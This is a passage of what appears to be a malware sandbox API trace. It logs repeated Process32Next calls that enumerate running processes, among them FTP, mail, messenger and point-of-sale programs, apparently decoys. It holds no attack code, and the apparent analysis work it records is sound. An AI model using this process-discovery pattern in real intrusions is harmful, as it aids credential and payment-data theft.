szExeFile="svchost.exe")) returned 1 [0107.091] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.092] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.094] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.096] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.098] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.099] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.101] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0107.103] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0107.105] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.107] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0107.110] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.112] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0107.115] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.117] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0107.119] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0107.121] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.124] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0107.126] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0107.133] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0107.135] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0107.138] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0107.140] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0107.142] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0107.145] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0107.147] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0107.149] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0107.151] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0107.154] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0107.156] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0107.158] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0107.207] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0107.209] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0107.211] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0107.212] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0107.214] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0107.215] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0107.217] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0107.218] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0107.220] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0107.221] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0107.224] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0107.226] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0107.227] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0107.229] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0107.230] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0107.232] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0107.234] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0107.236] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0107.239] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0107.241] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0107.242] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0107.244] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0107.246] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0107.248] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0107.250] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0107.251] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0107.253] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0107.255] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0107.257] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0107.259] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0107.261] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0107.262] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0107.264] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0107.266] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0107.268] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0107.284] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0107.286] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0107.288] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0107.290] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0107.291] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0107.293] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0107.295] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0107.297] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0107.299] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0107.302] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0107.304] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0107.306] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0107.307] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0107.309] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0107.311] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0107.312] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0107.314] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0107.317] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0107.319] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0107.321] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: 